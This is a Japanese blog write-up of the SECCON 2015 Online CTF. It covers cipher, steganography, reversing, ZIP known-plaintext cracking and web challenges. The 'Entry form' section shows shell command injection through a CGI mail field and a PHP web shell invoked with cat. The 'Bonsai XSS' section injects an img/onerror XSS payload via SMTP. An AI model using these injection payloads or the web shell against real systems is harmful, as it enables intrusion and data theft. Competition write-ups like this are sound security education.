SECCON 2015 Online CTF Write-up

  • 19
    いいね
  • 0
    コメント
この記事は最終更新日から1年以上が経過しています。

脆弱性"&'<<>\ Advent Calendar 2015 7日目の記事です。

SECCON 2015 Online CTFのWrite-up。某チームで参加して、2200点、50位台。まずまず。

GitHubで問題が公開されている。良い。

Start SECCON CTF (Exercises, 50)

ex1
Cipher:PXFR}QIVTMSZCNDKUWAGJB{LHYEO
Plain: ABCDEFGHIJKLMNOPQRSTUVWXYZ{}

ex2
Cipher:EV}ZZD{DWZRA}FFDNFGQO
Plain: {HELLOWORLDSECCONCTF}

quiz
Cipher:A}FFDNEVPFSGV}KZPN}GO
Plain: ?????????????????????

換字式暗号。やるだけ。

C = "PXFR}QIVTMSZCNDKUWAGJB{LHYEO"
P = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{}"
Q = "A}FFDNEVPFSGV}KZPN}GO"
print "".join(P[C.index(q)] for q in Q)
SECCON{HACKTHEPLANET}

SECCON WARS 2015 (Stegano, 100)

https://www.youtube.com/embed/8SFsln4VyEk

また、QRコードか……。QRコードの部分が常に黒い。10枚くらいスクリーンショットを撮って、「比較(明)」で重ねれば良い。

SECCON{TH3F0RC3AVVAK3N53P7}

Unzip the file (Crypto, 100)

ZIPの既知平文攻撃。既知平文攻撃をするためには圧縮後の平文を入手する必要がある。Linuxのzipコマンドのデフォルトで圧縮したところ、問題ファイルとサイズが一致した。

>wget http://2014.seccon.jp/mailmagazine/backnumber08.txt
--2015-12-06 18:38:56--  http://2014.seccon.jp/mailmagazine/backnumber08.txt
Resolving 2014.seccon.jp (2014.seccon.jp)... 133.242.50.254
Connecting to 2014.seccon.jp (2014.seccon.jp)|133.242.50.254|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 14182 (14K) [text/plain]
Saving to: 'backnumber08.txt'

backnumber08.txt    100%[=====================>]  13.85K  --.-KB/s   in 0.03s

2015-12-06 18:38:56 (536 KB/s) - 'backnumber08.txt' saved [14182/14182]


>zip plain.zip backnumber08.txt
  adding: backnumber08.txt (deflated 63%)

>pkcrack.exe -c backnumber08.txt -p backnumber08.txt -C unzip -P plain.zip -d decrypt.zip
Files read. Starting stage 1 on Sun Dec 06 23:13:07 2015
Generating 1st generation of possible key2_5299 values...done.
Found 4194304 possible key2-values.
Now we're trying to reduce these...
Lowest number: 984 values at offset 970
Lowest number: 932 values at offset 969
Lowest number: 931 values at offset 967
Lowest number: 911 values at offset 966
Lowest number: 906 values at offset 965
Lowest number: 904 values at offset 959
Lowest number: 896 values at offset 955
Lowest number: 826 values at offset 954
Lowest number: 784 values at offset 606
Lowest number: 753 values at offset 206
Done. Left with 753 possible Values. bestOffset is 206.
Stage 1 completed. Starting stage 2 on Sun Dec 06 23:13:21 2015
Ta-daaaaa! key0=270293cd, key1=b1496a17, key2=8fd0945a
Probabilistic test succeeded for 5098 bytes.
Ta-daaaaa! key0=270293cd, key1=b1496a17, key2=8fd0945a
Probabilistic test succeeded for 5098 bytes.
Stage 2 completed. Starting zipdecrypt on Sun Dec 06 23:13:43 2015
Decrypting backnumber08.txt (5315a01322ab296c211eecba)... OK!
Decrypting backnumber09.txt (83e6640cbec32aeaf10ed1ba)... OK!
Decrypting flag (34e4d2ab7fe1e2421808bab2)... OK!
Finished on Sun Dec 06 23:13:43 2015

で、平文のzipが手に入る。-dを付けなければパスワードの探索もしてくれるけど、ずっと動かしていても探索が終わらない。そういえば、pkcrackの作者に絵葉書を送らないと……。flagがさらにzipかと思ったけど、docxだった。開くと白文字でフラグが書いてある。

SECCON{1s_th1s_passw0rd_ weak?}

Reverse-Engineering Android APK 1 (Binary, 100)

Androidアプリ。ファイルを展開して、dex2jarにかけて、jd-guiでソースコードを読む。

        if (1000 == MainActivity.this.cnt) {
          localTextView.setText("SECCON{" + String.valueOf((MainActivity.this.cnt + MainActivity.this.calc()) * 107) + "}");
        }

このうち、calc()はネイティブコードらしい。lib/x86/libcalc.soをobjdumpで逆コンパイル。

00000400 <Java_com_example_seccon2015_rock_1paper_1scissors_MainActivity_calc>:
 400:   b8 07 00 00 00          mov    eax,0x7
 405:   c3                      ret    

return 7だけだった。

SECCON{107749}

Connect the server (Web/Network, 100)

指定されたサーバーにncで繋ぐと

>nc login.pwn.seccon.jp 10000
CONNECT 300

Welcome to SECCON server.

The server is connected via slow dial-up connection.
Please be patient, and do not brute-force.

login:

という文字列がカタカタ表示される。しばらく待つと、

Login timer timed out.
Thank you for your cooperation.

HINT: It is already in your hands.

Good bye.

と出てきて切断される。login:の前にバックスペースで消しながらフラグが降ってきていた。ファイルにダンプするなり、通信を監視するなり。

SECCON{Sometimes_what_you_see_is_NOT_what_you_get}

Command-Line Quiz (Unknown, 100)

サーバーにログインしてクイズに答えていく。head, tail, grep, awd。最後は何か特定のコマンドでのみフラグが読めると言われて、何か珍しいオプションを付けた場合だけファイルが読めるコマンドとかあるのかなと思ったけど、普通にsedだった。

$ sed -e 's/a/a/g' flags.txt
OK. You have read all .txt files. The flag word is shown below.

SECCON{CaitSith@AQUA}
SECCON{CaitSith@AQUA}

Entry form (Web/Network, 100)

メールアドレスと名前を入れるフォームがあった。親ディレクトリを開くとファイル一覧が見られて、register.cgi_bakというファイルがあることが分かる。問題のソースコード。

if($q->param("mail") ne '' && $q->param("name") ne '') {
  open(SH, "|/usr/sbin/sendmail -bm '".$q->param("mail")."'");
  print SH "From: keigo.yamazaki\@seccon.jp\nTo: ".$q->param("mail")."\nSubject: from SECCON Entry Form\n\nWe received your entry.\n";
  close(SH);

  open(LOG, ">>log"); ### <-- FLAG HERE ###
  flock(LOG, 2);
  seek(LOG, 0, 2);
  print LOG "".$q->param("mail")."\t".$q->param("name")."\n";
  close(LOG);

  print "<h1>Your entry was sent. <a href='?' style='color:#52d6eb'>Go Back</a></h1>";
  exit;
}

メールアドレスを'|cat 'logにすることでlogを見ようとしたがダメ。'|ls -al '.でファイル一覧は手に入る。cgi権限では読めないらしい。

total 3200
dr-xr-xr-x 3 cgi    cgi     4096 Dec  1 22:29 .
drwxr-xr-x 4 root   root    4096 Dec  1 22:57 ..
-r--r--r-- 1 root   root     221 Dec  5 15:18 .htaccess
dr-xr-xr-x 2 root   root    4096 Dec  1 21:52 SECRETS
-r---w---- 1 apache cgi  3240353 Dec  5 20:02 log
-r--r--r-- 1 root   root    1132 May 15  2015 logo.png
-r-xr-xr-x 1 cgi    cgi     1583 Dec  1 22:02 register.cgi
-r--r--r-- 1 root   root    1583 Dec  1 22:25 register.cgi_bak

SECRETSフォルダは、

total 16
dr-xr-xr-x 2 root root 4096 Dec  1 21:52 .
dr-xr-xr-x 3 cgi  cgi  4096 Dec  1 22:29 ..
-r--r--r-- 1 root root   42 Dec  1 21:52 backdoor123.php
-r--r--r-- 1 root root   19 Dec  1 21:52 index.html

backdoor123.phpは、任意のコマンドを実行できるようになっていた。

<pre><?php system($_GET['cmd']); ?></pre>

http://entryform.pwn.seccon.jp/SECRETS/backdoor123.php?cmd=cat%20..%2Flogにアクセスするとlogが表示できて、フラグが書いてある。

てっきりメールが届いて、そこから何かするかと思い、普段使っているメールアドレスを入力してしまっていて、logにちゃんと残っていた。私以外にも、普通に使っているとおぼしきメールアドレスがチラホラ。まあ、コンテストの問題に漏れて困るメールアドレスを入力するなと言われればそれはそうだけど、これはひどい。そもそも、メールアドレスをログに保存し、そこをフラグの置き場にする必要性はあったのだろうか?

SECCON{Glory_will_shine_on_you.}

Bonsai XSS Revolutions (Web/Network, 200)

このブラウザのUser-Agentを取得しろという問題。画面をクリックすると操作はできないと言われる。ガシャガシャとキーボードを叩いていると画面内にフォーカスが移るときがあるので、それで何かするのかと思ったが違った。

SMTPサーバーが動いていて、localhost:25に接続するとこの画面内にメールが送れる。Dateの部分にエスケープ漏れがある。

>nc localhost 25
HELO tsuribori.net
250 ok
MAIL FROM: hoge@piyo
250 ok
RCPT TO: keigo.yamazaki@tsuribori.test
250 ok
220 tsuribori.test Tsuribori-SMTPserver by KeigoYAMAZAKI, 2014.12.09- ESMTP
DATA
From: hoge@piyo
354 go ahead
To: keigo.yamazaki@tsuribori.test
Date: aaa<img src=x onerror=alert(navigator.userAgent)>
Subject: test

hogehoge
.
250 ok
QUIT
221 tsuribori.test Bye, bye...

メールのSubjectにタグが含まれていると、なぜかUAがThis is NOT a flag. Use XSS to obtain it.になる。そんなことが原因とは思わず嵌まった。ウェブサーバーを立てて<img src="http://localhost/">などを踏ませた場合には普通にIEっぽいUAでアクセスがくる。このUAがUse XSSなら納得がいくのだけど……。

SECCON{TsuriboriWebBros/2015.12.17620}

Exec dmesg (Binary, 300)

ZIPファイルが問題。エクスプローラーで開いたら空っぽ。ファイル名が../../../../tiny_linux/core-current.isoだから。LinuxのBootable CDらしい。VMで実行して素直にdmesgコマンドを打ったら、applet not foundと言われた。Busyboxの中に含まれていないらしい。まあ、dmesgコマンドが実行できたらフラグが表示されるということはメモリのどこかにはあるだろうから、VMをサスペンドして、メモリイメージから検索。

SECCON{elf32-i386}

Decrypt it (Crypto, 300)

$ ./cryptooo SECCON{*************************}
Encrypted(44): waUqjjDGnYxVyvUOLN8HquEO0J5Dqkh/zr/3KXJCEnw=

暗号処理がけっこう長くて読むのが面倒。Base64と同様に3文字が4文字に変換されるので、3文字ずつ全探索。位置によっても暗号結果が変わるようなので、それぞれの位置で探索を行う必要があり、けっこう時間がかかった。

from commands import getoutput

A = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{}_-,.@0123456789"

P = ""
C = "waUqjjDGnYxVyvUOLN8HquEO0J5Dqkh/zr/3KXJCEnw="

for i in range(len(P)/3*4,len(C),4):
    print "i =",i
    p = "***"
    for a1 in A:
     print a1
     for a2 in A:
      for a3 in A:
        t = getoutput("./cryptooo '" + P+a1+a2+a3+"'").split()
        if len(t)>=2:
            t = t[1]
            if t[i:i+4] == C[i:i+4]:
                p = a1+a2+a3
    P += p
    print P

端数処理が面倒なので、最後はプログラムではなく適当に手で打って探した。

SECCON{Cry_Pto_Oo_Oo1Oo_oo_Oo_O}

QR puzzle (Nonogram) (Unknown, 300)

解けなかった。お絵かきロジックを解くとQRコードが出てくるというのを30問。このサイトを使って、ちまちま問題をコピーしたりしていたけど、29x29だとだいぶ遅くなるし一発で答えが出ないことも多いので時間が掛かり、その間にセッションが切れて1問目からになって心が折れた。一発で答えが出ない場合に、QRコードっぽい模様のところは白黒決まるというのは最初から使っていたが、形式情報の2箇所は同じ値になるというのは途中まで気が付かなかった。これを使っていればもう少し楽になったかも。

QR puzzle (Windows) (Unknown, 200)

またQRコードか……と思ったけど、この問題はQRコードの知識が無くても解けるのでありだと思う。

Exeは難読化されているけど、QRコード生成のライブラリは難読化されていないので、そこで何とかすることをまずは考えた。が、ライブラリのDLLを書き換えるとプログラムが落ちる。チェックされているらしい。

メモリをダンプすると答えの一覧が手に入る。間違えてもペナルティは無いので、プログラムを書いて入力欄にひたすら送りつけた。

#include <Windows.h>
#include <tchar.h>
#include <stdio.h>

LPCTSTR word[] = {
_T("accept"),
_T("achieve"),
  
_T("beneath"),

_T("seccon"),
};

int main()
{
    while (true)
    {
        printf("!");
        for (LPCTSTR w: word)
            SendMessage((HWND)0x00A21846, WM_SETTEXT, 0, (LPARAM)w),
            Sleep(1);
    }
}

secconはダンプした中には無くて、そこで止まっていたので手で追加。ウィンドウハンドルはSpy++で調べた。入力欄にフラグ出力されるので、プログラムに任せていたらフラグを上書きしてしまっていた。もう1回実行し直して、最後数問は手動で解いた。最後まで3x3のままで良かった。

SECCON{402B00F89DC8}

GDB Remote Debugging (Binary, 200)

問題文通りgdbのリモートデバッギングの通信ログらしい。プログラムのほうは文字列を2個受け取って、xorした文字列をputcで出力しているだけ。

 :
Sending packet: $z0,807ea00,1#f8...Packet received: OK
Sending packet: $m80482c1,1#64...Packet received: 8b
Sending packet: $m80d7340,1#64...Packet received: 65
Sending packet: $m80d7341,1#65...Packet received: 6f
 :

この辺はアドレスが書いてあるから、メモリの中身だよね。というのと、

 :
Sending packet: $Z0,807ea00,1#d8...Packet received: OK
Sending packet: $vCont;c#a8...Packet received: T0505:68f6c7bf;04:50f6c7bf;08:fb820408;thread:82c;core:0;
Sending packet: $g#67...Packet received: 36000000180000004b0000000000000050f6c7bf68f6c7bf80730d0818000000fb82040886020000730000007b0000007b0000007b000000000000003300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007f03000000000000ffff0000730000006a4d23007b00000090ce2d00d80500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000801f0000ffffffff
Sending packet: $G36000000180000004b0000000000000050f6c7bf68f6c7bf80730d0818000000fa82040886020000730000007b0000007b0000007b000000000000003300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007f03000000000000ffff0000730000006a4d23007b00000090ce2d00d80500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000801f0000ffffffff#a3...Packet received: OK
Sending packet: $z0,80482c1,1#cd...Packet received: OK
Sending packet: $z0,80482fa,1#00...Packet received: OK
Sending packet: $z0,8048350,1#9f...Packet received: OK
Sending packet: $z0,8048397,1#aa...Packet received: OK
Sending packet: $z0,80483e3,1#d2...Packet received: OK
Sending packet: $z0,807ea00,1#f8...Packet received: OK
Sending packet: $m80482fa,1#97...Packet received: a1
Sending packet: $vCont;s:82c#bf...Packet received: T0505:68f6c7bf;04:50f6c7bf;08:ff820408;thread:82c;core:0;
Sending packet: $Z0,80482c1,1#ad...Packet received: OK
Sending packet: $Z0,80482fa,1#e0...Packet received: OK
Sending packet: $Z0,8048350,1#7f...Packet received: OK
Sending packet: $Z0,8048397,1#8a...Packet received: OK
Sending packet: $Z0,80483e3,1#b2...Packet received: OK
Sending packet: $Z0,807ea00,1#d8...Packet received: OK
Sending packet: $vCont;c#a8...Packet received: T0505:68f6c7bf;04:50f6c7bf;08:fb820408;thread:82c;core:0;
Sending packet: $g#67...Packet received: 2a000000011070b7907c0d080100000050f6c7bf68f6c7bf80730d0818000000fb82040886020000730000007b0000007b0000007b000000000000003300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007f03000000000000ffff0000730000006a4d23007b00000090ce2d00d80500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000801f0000ffffffff
Sending packet: $G2a000000011070b7907c0d080100000050f6c7bf68f6c7bf80730d0818000000fa82040886020000730000007b0000007b0000007b000000000000003300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007f03000000000000ffff0000730000006a4d23007b00000090ce2d00d80500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000801f0000ffffffff#50...Packet received: OK
Sending packet: $z0,80482c1,1#cd...Packet received: OK
 :

これがさっきのメモリのサイズくらい繰り返されているので、どこか違っている場所がputcの出力だよね。とあたりを付けて、xorしたらその通りだった。

_7340 = "656f260213062560340b273b783a2600394a465d3d5e5836".decode("hex")
puts = "362a65415c485e2851674b543f7e64504b2532325e31344b".decode("hex")
ans = ""
for i in range(len(_7340)):
    ans += chr(ord(_7340[i])^ord(puts[i]))
print ans
SECCON{HelloGDBProtocol}

Steganography 1 (Stegano, 100)

問題ファイルのファイル名はMrFusion.gpjb。BMPが大きすぎて邪魔だけど、gif, png, jpeg, bmp, gif, png, …と画像ファイルが連結されていた。文字を拾って入力してもなぜか正解にならない。バック・トゥ・ザ・フューチャーっぽい文字列だし、ここからさらに何か変換するのだろうか?と悩んでいたら、フォーマットに関するヒントが追加された。Please input flag like this format-->SECCON{*** ** **** ****}。この位置にスペースを入れろと。

SECCON{OCT 21 2015 0728}

Steganography 3 (Stegano, 100)

スクリーンショット。ELFをバイナリエディタで開いている。「え、これ打ち込むの? だる……」と一瞬思ったけど、「未就学児でも解ける問題」というウェブページや、ペイントでピンときた。バケツツールで答えが浮き出るやつだ。

SECCON{the_hidden_message_ever}

4042 (Unknown, 100)

0-7までの数字が並んだテキストファイル。1行はなぜか80文字ではなく81文字。2005年に古代遺跡から発見されたらしい。

さっぱり分からなかったけど、チームの某氏が「2005年で4042ならこれでは」と教えてくれた。UTF-9。0-7までだから3bitなので、数字3個で1個のノネット(バイトの9ビット版)になる。

Ꮮⲟrеⅿ ірѕ∪ⅿ ⅾοⅼοr ѕіt ɑⅿеt, сഠᥒѕᥱсtеtᥙr ɑԁⅰрⅰѕіⅽⅰᥒɡ еⅼіt, ѕеԁ ⅾо ᥱіᥙѕⅿഠⅾ tеⅿрⲟr 
іᥒϲіԁіԁᥙᥒt ᥙt ⅼаbഠrе еt ⅾоⅼഠrᥱ ⅿɑɡᥒɑ ɑⅼіqᥙа. Ut еᥒіⅿ ɑԁ ⅿіᥒⅰⅿ ⋁ᥱᥒіɑⅿ‚ qᥙіѕ 
ᥒοѕtrᥙԁ еⅹᥱrϲⅰtɑtіⲟᥒ ᥙⅼⅼɑⅿϲо ⅼаbοrⅰѕ ᥒіѕⅰ ᥙt ɑⅼⅰqᥙⅰр ᥱⲭ ᥱа сοⅿⅿоԁο ⅽഠᥒѕеqᥙаt․ 
ᗪᥙіѕ ɑᥙtе іrᥙrе ⅾഠⅼഠr ⅰᥒ rᥱрrᥱһеᥒԁеrіt іᥒ ⋁οⅼᥙрtɑtе ∨еⅼіt еѕѕᥱ ϲⅰⅼⅼᥙⅿ ԁοⅼοrе еᥙ 
fᥙɡіɑt ᥒᥙⅼⅼа рɑrⅰаt∪r. Εⅹϲᥱⲣtеᥙr ѕіᥒt οсϲɑᥱⅽаt ϲ∪ⲣіⅾɑtаt ᥒⲟᥒ ⲣrഠіⅾᥱᥒt, ѕᥙᥒt ⅰᥒ 
сᥙⅼра qᥙⅰ оffіⅽіɑ ԁеѕеrᥙᥒt ⅿоⅼⅼⅰt ɑᥒіⅿ іⅾ еѕt ⅼɑbⲟr∪ⅿ․

Τһᥱ fⅼɑɡ ⅰѕ᛬ ЅΕⅭⲤОΝ{Α_ԌᎡⲞUΡˍОᖴ⚊ΝⅠΝΕˍВⅠΤᏚˍⅠᏚ_СᎪⅬⅬᎬⅮˍΝОΝЕΤ﹜

ΝᏴ; Ρⅼеɑѕе ѕеᥒⅾ tһе fⅼɑɡ іᥒ ᥒⲟrⅿɑⅼ АᏚϹІⅠ ϲоԁе ︔﹚
SECCON{A_GROUP_OF_NINE_BITS_IS_CALLED_NONET}

Last Challenge (Thank you for playing) (Exercises, 50)

1問目と同じ。

SECCON{SEEYOUNEXTYEAR}

決勝は無理だったので、また来年お会いしましょう(´・ω・`)